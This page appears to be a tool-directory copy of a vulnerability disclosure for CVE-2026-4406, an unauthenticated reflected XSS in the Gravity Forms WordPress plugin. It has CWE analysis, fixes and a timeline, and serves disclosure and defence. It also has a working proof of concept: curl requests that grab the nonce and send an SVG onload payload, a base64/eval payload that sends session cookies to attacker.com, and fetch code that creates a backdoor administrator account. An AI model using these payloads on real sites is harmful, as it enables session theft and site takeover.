Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-4406 — Gravity Forms 插件(WordPress 版,测试至 2.9.28 版本)存在未认证的反射型跨站脚本(XSS)漏洞,该漏洞通过 `gform_get_config` AJAX 操作中的 `form_ids` 参数触发。 | Kitploit
工具/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4406
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubhann1bl3l3ct3r/cve-2026-4406

CVE-2026-4406

Gravity Forms 插件(WordPress 版,测试至 2.9.28 版本)存在未认证的反射型跨站脚本(XSS)漏洞,该漏洞通过 `gform_get_config` AJAX 操作中的 `form_ids` 参数触发。

查看仓库
155个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Gravity Forms <= 2.9.28 — 通过 gform_get_config 的 form_ids 参数实现未认证反射型跨站脚本攻击

漏洞摘要

字段值
受影响软件Gravity Forms(WordPress 插件)
供应商Rocketgenius, Inc.
漏洞类型CWE-79:网页生成期间输入未正确中和(反射型跨站脚本攻击)
CWE 链CWE-20 → CWE-116 → CWE-838 → CWE-79(参见下方 CWE 分析)
受影响版本已在 2.9.28(发现时最新版本)上确认;早期版本可能受影响
修复版本2.9.30.1(热修复)
CVSS 3.1 评分6.1(中危)
CVSS 3.1 向量AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
是否需要认证否(未认证)
用户交互需要(受害者必须访问攻击者控制的页面或点击精心构造的链接)
发现者Anthony Cihan — Obviam
发现日期2026-03-04
披露日期2026-03-18
CVE IDCVE-2026-4406

Wordfence 公开记录


描述

WordPress 的 Gravity Forms 插件(测试至 2.9.28 版本)存在通过 gform_get_config AJAX 操作中的 form_ids 参数实现的未认证反射型跨站脚本(XSS)漏洞。该漏洞的存在是因为用户提供的 form_ids 值被原样反射到服务器的 HTTP 响应中,未经过任何清理、编码或输出转义。响应以 Content-Type: text/html; charset=UTF-8 头提供,导致浏览器将反射内容解析并渲染为 HTML,包括任何注入的脚本元素。

未认证的攻击者可以利用此漏洞在目标 WordPress 站点的源上下文中执行任意 JavaScript。由于 gform_get_config 操作需要有效的 config_nonce,而该 nonce 被公开嵌入到每个加载 Gravity Forms 表单的页面的 HTML 源码中,攻击者只需在构造利用请求之前请求目标站点上的任何公开页面,即可轻松获取有效的 nonce。

成功利用后,攻击者可以窃取会话 Cookie、代表已认证用户(包括 WordPress 管理员)执行操作、将用户重定向到恶意站点、篡改页面内容,或通过创建管理员账户建立持久访问权限。


根本原因分析

易受攻击的端点```

POST /wp-admin/admin-ajax.php

root@kitploit:~
### 易受攻击的操作```
gform_get_config

易受攻击的参数

args POST 参数接受一个包含 form_ids 数组的 JSON 对象。该数组中的值在未经过清理的情况下被用作 JSON 响应结构中的对象键:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

root@kitploit:~
### 响应行为

服务器会处理 `form_ids` 的值,并将其作为 JSON 键反映在响应体中。响应被包裹在 HTML 注释标记中,并以 `text/html` 形式提供:```
Content-Type: text/html; charset=UTF-8

<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->

为何此漏洞可被利用

  1. 无输入验证:form_ids 的值未经过整数验证、清理或过滤。服务器接受任意字符串内容,包括 HTML 标签和事件处理程序。
  2. 无输出编码:form_ids 的值在响应体中直接反射,未进行 HTML 实体编码。诸如 <、>、" 和 ' 等字符会原样通过。
  3. HTML Content-Type:响应以 Content-Type: text/html; charset=UTF-8 提供,这指示浏览器将响应体解析为 HTML。反射值中的任何 HTML 标签都会被浏览器的 HTML 解析器实例化并渲染。
  4. 公开可访问的 Nonce:gform_get_config 操作所需的 config_nonce 被嵌入到每个加载 Gravity Forms 表单的页面上的 JavaScript 配置对象(gform_theme_config)中。此 nonce 在所有页面上均相同,且不绑定到特定用户会话,因此未认证用户可轻易获取。

CWE 分析

此漏洞是多个相互叠加的弱点共同作用的结果,这些弱点串联在一起形成了可利用的条件。虽然 CWE-79 是 CVE 报告的主要分类,但完整的链条记录了每个失败环节如何相互叠加,从而促成可利用性。

弱点链```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

root@kitploit:~
### CWE-20:输入验证不当(促成因素)

**角色:** 根本性促成因素——允许恶意数据进入处理流程。

`args` JSON 对象中的 `form_ids` 参数预期包含数字形式的标识符,但接受任意字符串输入且不进行任何验证。未应用类型检查(`intval()`)、正则表达式过滤(`^[0-9]+$`)、与已知表单 ID 的白名单比对,也未设置长度限制。

**证据:** 服务器接受并处理包含 HTML 标签、JavaScript 事件处理程序及任意 Unicode 的 `form_ids` 值,且不予以拒绝。```json
{"form_ids":["<svg onload=alert(1)>"]}    ← Accepted
{"form_ids":["3"]}                         ← Expected

CWE-116:输出编码或转义不当(主要技术故障)

角色: 核心漏洞——XSS 条件的直接原因。

当服务器构建包含 form_ids 值的 JSON 响应时,未对输出应用 HTML 实体编码。在 HTML 中具有特殊含义的字符(<、>、"、'、&)未经修改直接传入响应体。在将 form_ids 值写入响应之前,未对其应用 PHP 函数 htmlspecialchars()、esc_html()、带 JSON_HEX_TAG 的 wp_json_encode() 或等效的输出编码函数。

证据: 字面字符串 <svg onload=alert(document.domain)> 以与输入逐字节完全相同的形式出现在响应体中,而非以 &lt;svg onload=alert(document.domain)&gt; 的形式出现。

CWE-838:输出上下文编码不当(复合因素)

角色: 上下文升级——将数据反射问题转变为可执行代码注入。

响应体包含 JSON 结构数据,但以 Content-Type: text/html; charset=UTF-8 提供。此 Content-Type 声明指示浏览器的 HTML 解析器将整个响应体作为 HTML 文档处理。如果响应以 application/json 提供,浏览器会将响应渲染为纯文本,不会发生 HTML 解析——注入的标签将显示为字面文本,而不会被实例化为 DOM 元素。

证据:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

root@kitploit:~
`X-Content-Type-Options: nosniff` 标头存在,但无关紧要,因为服务器明确声明了 `text/html` —— 没有需要阻止的 MIME 类型嗅探。

### CWE-79:网页生成期间输入的不当中和 —— 反射型 XSS(结果性)

**角色:** 可利用的后果 —— 已实现的漏洞。

这三个促成性弱点的组合产生了反射型跨站脚本条件。用户提供的输入从 HTTP 请求流经服务器端处理,并在未经清理、编码或上下文适当的 Content-Type 声明的情况下进入 HTTP 响应,导致任意 JavaScript 在受害者浏览器中执行。

**子类型:** 反射型(类型 1)—— 载荷包含在 HTTP 请求中,并立即在 HTTP 响应中反射,无需存储。

### 汇总表

| CWE ID | 名称 | 角色 | 可单独利用? |
|---|---|---|---|
| CWE-20 | 输入验证不当 | 促成性(根本使能者) | 否 —— 坏数据进入但未被渲染 |
| CWE-116 | 输出编码或转义不当 | 主要技术故障 | 部分 —— 需要 HTML 渲染上下文 |
| CWE-838 | 输出上下文编码不当 | 叠加性(上下文升级) | 否 —— 需要存在未转义的数据 |
| CWE-79 | 跨站脚本(反射型) | **结果性(可利用)** | **是 —— 这是已实现的漏洞** |

### 最低修复分析

以下列表中的**任何单一**修复措施都能打破链条并阻止利用:

| 修复 | 在何处打破链条 | 单独足够? |
|---|---|---|
| 将 `form_ids` 类型转换为整数 | CWE-20(输入) | ✅ 是 |
| 对输出进行 HTML 实体编码 | CWE-116(输出) | ✅ 是 |
| 将响应作为 `application/json` 提供 | CWE-838(上下文) | ✅ 是 |

**建议:** 实施全部三项作为纵深防御。最关键的修复是输出编码(CWE-116),因为它无论输入验证或 Content-Type 如何变化,都能防御当前和未来的注入向量。

---

## Wordfence 提交参考

| 字段 | 值 |
|---|---|
| **软件类型** | WordPress 插件 |
| **软件标识** | `gravityforms` |
| **Wordfence Intel URL** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **受影响版本** | <= 2.9.28(最新确认) |
| **漏洞标题** | Gravity Forms <= 2.9.28 —— 通过 `form_ids` 参数实现的未认证反射型跨站脚本 |
| **CWE(主要)** | CWE-79 |
| **CVSS 3.1** | 6.1 —— `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **所需权限** | 未认证 |
| **补丁状态** | 已在 2.9.30.1 中修补 |

---

## 受影响配置

### 必需的服务器端条件

- 安装了 Gravity Forms 插件且处于活动状态的 WordPress 安装(已发布任何表单)
- `gform_get_config` AJAX 操作已注册(插件激活时的默认行为)

### Nonce 可访问性

`config_nonce` 嵌入在包含 Gravity Forms 表单的任何页面上的全局 `gform_theme_config` JavaScript 变量中:```javascript
var gform_theme_config = {
  "common": { ... },
  "config_nonce": "9308d72c0a"    // ← Publicly accessible
};

该 nonce 经确认具有以下特征:

  • 在目标站点的所有页面上均相同(首页、表单页、非表单页)
  • 不绑定用户会话(无论是否携带 Cookie,返回的值均相同)
  • 不随请求轮换(在较长时间内保持静态)

存在的安全响应头(防护不足)


概念验证

环境

组件版本
WordPress6.9.1
Gravity Forms2.9.28
Web 服务器Apache (HTTP/2)
测试平台Kali Linux, curl 8.x

步骤 1:获取有效的 Nonce

请求目标站点上任意加载了 Gravity Forms 表单的页面,并提取 config_nonce 值:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

root@kitploit:~
**示例输出:**```
9308d72c0a

步骤 2:发送漏洞利用请求

向 WordPress AJAX 处理器提交一个 POST 请求,其中包含一个精心构造的 form_ids 值,该值内嵌有 XSS 载荷:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

root@kitploit:~
### 步骤 3:观察反射

**HTTP 响应头:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache

HTTP 响应体:```html

{"success":true,"data":{"common":{"form":{"pagination":{"":null}}}}}
root@kitploit:~
`<svg onload=alert(document.domain)>` 载荷在响应体中被**原样反射,未进行任何编码**。由于响应以 `text/html` 形式提供,浏览器会实例化 SVG 元素并执行 `onload` 事件处理程序,从而在目标站点源上下文中触发 JavaScript 执行。

### 其他观察

**可通过 `form_ids` 数组同时注入多个载荷**:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
  -F "gform_ajax_nonce=[NONCE]" \
  -F "action=gform_get_config" \
  -F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
  -F "config_path=gform_theme_config/common/form/pagination/3" \
  -F "query_string="

响应:```html

{"success":true,"data":{"common":{"form":{"pagination":{"":null,"":null}}}}}
root@kitploit:~
**`config_path` 表单编号是任意的** — 任何整数均可(已测试:`1`、`3`、`999`),无效的配置路径返回的错误消息不会反映 `form_ids` 的值。

---

## 利用场景

### 场景 1:通过 Cookie 外泄实现会话劫持

攻击者托管一个页面,自动从目标中抓取有效的 nonce,然后将利用表单提交到弹出窗口中。该载荷将会话 Cookie 外泄到攻击者控制的服务器:

**载荷:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>

解码后的 JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

root@kitploit:~
此技术利用 `this.id` 自引用模式,避免在反射的属性上下文中出现引号和空格字符,将完整的利用逻辑以 Base64 编码形式嵌入 SVG 元素的 `id` 属性中。

如果已认证的 WordPress 管理员访问了攻击者的页面,其会话 Cookie(`wordpress_logged_in_*`、`wordpress_sec_*`)会被传输给攻击者,攻击者随后即可冒充该管理员。

### 场景 2:创建管理员账户

利用相同的投递机制,该载荷可以向 WordPress REST API 或管理页面发起已认证的 API 请求,以创建新的管理员账户:```javascript
fetch('/wp-json/wp/v2/users', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
  body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});

场景 3:利用 DOM 接管进行钓鱼

反射型 XSS 可以用一个极具迷惑性的钓鱼覆盖层(例如,伪造的登录页面或会话超时提示)替换整个页面 DOM,从而直接窃取凭据。


攻击流程```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

root@kitploit:~
## MITRE ATT&CK 映射

| 战术 | 技术 | ID | 描述 |
|---|---|---|---|
| 初始访问 | 路过式攻击 | T1189 | 受害者访问托管 XSS 投递机制的受攻击者控制的页面 |
| 执行 | 用户执行:恶意链接 | T1204.001 | 受害者点击指向攻击者页面的链接或被重定向 |
| 凭据访问 | 窃取 Web 会话 Cookie | T1539 | XSS 载荷从受害者浏览器中窃取会话 Cookie |
| 持久化 | 创建账户 | T1136.001 | 攻击者利用窃取的管理员会话创建后门管理员账户 |
| 防御规避 | 滥用权限提升控制机制 | T1548 | XSS 在特权用户会话的上下文中执行 |

---

## 影响评估

### 机密性

- **会话 Cookie**(包括 `wordpress_logged_in_*` 和 `wordpress_sec_*`)可被窃取
- **DOM 中可见的 CSRF nonce** 可被捕获,用于后续 API 请求
- **管理页面中渲染的用户 PII** 可被注入的脚本访问

### 完整性

- **管理操作** 可代表受害者执行(创建文章、安装插件、用户管理、主题编辑)
- **站点内容** 可被修改或篡改
- **后门账户** 可被创建以实现持久化访问

### 可用性

- **站点接管** 通过管理账户入侵可能导致可用性完全丧失
- **恶意软件注入** 通过主题/插件编辑器可能使站点无法使用或对访客造成危害

---

## 修复建议

### 针对 Gravity Forms(供应商)

1. **输入验证** — 在处理所有 `form_ids` 值之前,强制执行严格的整数类型转换。拒绝任何不匹配 `^[0-9]+$` 的值:   ```php
   $form_ids = array_map('intval', $form_ids);
   $form_ids = array_filter($form_ids, function($id) { return $id > 0; });
  1. 输出编码 — 在构建 JSON 响应时,使用带有 JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT 标志的 wp_json_encode(),以确保对 HTML 敏感字符进行转义: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    root@kitploit:~
  2. Content-Type 修正 — 将所有 AJAX JSON 响应的 Content-Type 设置为 application/json 而非 text/html。这可以防止浏览器将响应解析为 HTML,即使响应中反射了未净化的内容: ```php header('Content-Type: application/json; charset=UTF-8');
    root@kitploit:~
  3. Nonce 作用域 — 考虑将 config_nonce 绑定到用户会话,或对 nonce 生成实施速率限制,以提高自动化利用的成本。

面向站点管理员(即时缓解措施)

  1. Web 应用防火墙(WAF) — 部署 WAF 规则,检测并阻止 admin-ajax.php 中 action=gform_get_config 的 POST 请求 args 参数内的 HTML 标签
  2. 内容安全策略 — 实施严格的 script-src CSP 指令(例如 script-src 'self'),即使脚本被反射也能阻止内联脚本的执行
  3. 关注更新 — 在 Gravity Forms 补丁发布后立即应用
  4. 审计管理员账户 — 检查现有管理员账户是否存在任何未经授权的添加

披露时间线


参考

  • Gravity Forms 安全文档
  • [Gravity Forms 安全联系方式](mailto:[email protected])
  • CWE-79:网页生成期间输入的不当中和
  • OWASP 跨站脚本(XSS)
  • WordPress AJAX API — admin-ajax.php
  • CVE-2023-2701 — 先前 Gravity Forms XSS(不同向量)
  • CVE-2024-13377 — 先前通过 alt 参数的 Gravity Forms 存储型 XSS(不同向量)

免责声明

该漏洞是在一次授权渗透测试项目中发现的,该项目依据签署的工作说明书并附有明确的书面授权。所有测试均在约定的范围内进行,发现结果在发现后立即报告给客户。本次披露遵循负责任披露实践。未访问任何未经授权的系统,除受控的概念验证验证外,未泄露任何数据。


发现者: Anthony Cihan

下载工具
响应头值对可利用性的影响
X-Content-Type-Optionsnosniff无法缓解——服务器明确声明了 text/html
X-Frame-OptionsSAMEORIGIN阻止跨源 iframe 攻击;弹窗/重定向投递方式仍然有效
Content-Security-Policyframe-ancestors 'self';无 script-src 指令——内联脚本执行不受限制
Referrer-Policystrict-origin-when-cross-origin对可利用性无影响
日期事件
2026-03-04在授权渗透测试期间发现漏洞
2026-03-04报告给 Wordfence(WordPress CNA)
2026-03-XX被 Wordfence 初步拒绝(误分类为 self-XSS)
2026-03-XX使用武器化 POC 和 nonce 分析重新提交;决定被推翻
2026-03-18由 Wordfence 分配 CVE-2026-4406
2026-03-18通过 [email protected] 通知厂商
2026-03-21厂商确认并提供热修复(2.9.30.1)供审查
2026-04-02补丁已验证 — 确认对 form_ids 的 absint() 输入验证和 Content-Type: application/json 可修复该漏洞
2026-04-02漏洞已解决